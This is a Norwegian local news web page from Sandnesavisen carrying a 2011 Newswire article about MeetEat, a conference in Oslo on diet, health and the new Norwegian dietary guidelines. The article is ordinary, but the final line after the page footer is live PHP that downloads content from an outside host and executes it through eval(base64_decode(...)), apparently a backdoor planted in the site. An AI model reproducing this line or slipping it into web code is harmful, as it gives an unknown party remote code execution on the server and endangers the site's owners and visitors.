GARANTERT BILLIGST: Ut p� reise? Finn billigst hotell i
Google
25. mars 2017.
Som startside
Forsiden
Papirutgaver
Forum
Mobil
Lokalhistorie
Annonse
Nettannonse
Rubrikkannonse
Politiloggen
Bil & Motor
Reise
Spill Sudoku
Felix & Co
Annonsebilag
Riksnyheter
Kupong marked
Fotokonkurranse
Sommerens fotokonkurranse 2010
Fotokonkurranse
Informasjon
Innsendte foto
Ser du ikke bildene?
Registrer deg
Logg inn
SA - RUBRIKK
Markedsplass
Annonser
Regler
Logge inn
Ny bruker?
Lokale nyheter
Sandnes
Stavanger
Sola
Randaberg
Klepp
Time
Vær - Sandnesavisen
Sandnesavisen - POLITILOGG V2
Sandnesavisen - Bil & Motor
Sport
Sandnes
Stavanger
Kultur
Bøker
Musikk
Film
Byen vår
Skriv ny artikkel
- - - - - - - - - - - - - -
Austrått
Figgjo
Ganddal
Hana
Høle
Lura
Malmheim
Riska
Sandved
Soma
Stangeland
Sviland
Trones/Sentrum
- - - - - - - - - - - - - -
Folk
Meninger
Reisebrev
Fotball
Håndball
Kultur
Politikk
Økonomi
Natteliv
- - - - - - - - - - - - - -
Sandnes Atletklubb
Hommersåk Atlet
S Taekwon-Do
Sandnes BMX
S Innebandy Klubb
- - - - - - - - - - - - - -
S Skolekorps
Ut av byen
Bil
Buss
Fly
Båt
Tog
Toppmøte om mat og helse
Skrevet av Newswire   
søndag 14. august 2011

(NW) Internasjonale eksperter møtes i Oslo 1. september for å diskutere mat og helse sett i lys av kostrådene norske myndigheter kom med i januar.

Toppmøte om mat og helse
Kosthold, helse og det gode liv er tema for konferansen MeetEat. (Foto: Matprat)

- De norske kostrådene bygger blant annet på råd fra World Cancer Research Fund. Enkelte av kostrådene er omstridte og vil bli diskutert, sier leder for konferansen, Anne Mari Halsan.

En lang rekke norske og utenlandske eksperter vil delta på konferansen, blant annet forskerne Rachel Thompson og Teresa Norat fra World Cancer Research Fund, og Dominik D. Alexander fra University of Alabama i Birmingham.

Professor Anne Raben fra Københavns Universitet er ekspert på forebygging av fedme, og fra Norge deltar blant annet professor Rune Blomhoff fra Universitetet i Oslo, som har ledet arbeidet med de nye kostrådene.

Vil ha debatt
Arrangørene av kostholdskonferansen MeetEat er Matprat, Opplysningskontoret for egg og kjøtt, Kjøtt og Fjørfebransjens landsforbund, Nortura, Animalia og NHO Mat og Bio.

- Konferansen er den første i sitt slag, og intensjonen er at det skal bli en årlig møteplass for kosthold og helse. Vi ønsker at konferansen skal bli et sted for åpen diskusjon mellom helsemyndigheter og parter som sjelden snakker sammen om temaet, sier Halsan.

Kostrådene fra norske helsemyndigheter er basert på summen av internasjonal forskning. I Norge og Norden er det foretatt lite egen forskning innen kosthold og helse. Mange av rapportene de norske kostrådene er basert på er fra USA.

- Folk i Norge har en annen livsstil, spisevaner og helt andre matvarer enn amerikanere, derfor er ikke all forskning derfra like relevant for oss, sier Anne Mari Halsan.

Mye forvirring
Norge var det første landet i verden som fikk en offisiell ernæringspolitikk, men det betyr ikke at folk flest er kjent med hva et sunt kosthold innebærer.

- Det har vært mye forvirring omkring mat, kosthold, sykdom og helse i Norge i det siste, sier Halsan.

Hun mener fornuftige og kanskje litt prektige kostholdsråd lett kommer i skyggen av mediefokus på lavkarbokosthold, steinalderdietter, GI-mat og enda mer ekstreme dietter.

- Det er spesielt bekymringsfullt at så mange unge endrer sitt kosthold så radikalt. Det er nå store sosiale forskjeller innen ernæring, helse og levealder i Norge. Mange lider av overvekt, spiseforstyrrelser og matallergier, sier Halsan.

Hun er også opptatt av at konferansen skal handle om sunnhetsrealisme.

- God mat er viktig for å leve gode liv. Verdien av å kunne samle seg rundt et bord og spise et godt måltid er en betydelig livskvalitet som også har en naturlig plass på kostholdskonferansen, sier Anne Mari Halsan.

 
Siste 3 fotoannonser fra Markedsplassen - Her kan du annonsere gratis!
 
dinreise
dinreise
Kupong marked
SA DM
Care
ProCamp 160
Sandnesavisen - Papirutgaver
Sandnesavisen - Felix Liten
dinreise
s
dinreise
Drives av Sandnesavisen.no, Webhosting levert av findthedomain.com
Ansvarlig Redaktør: Atle Stava Foto/Reporter: Trond Stava
Ønsker du å annonsere her? Kontakt annonse@sandnesavisen.no Tips oss! Kontakt tips@sandnesavisen.no
$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));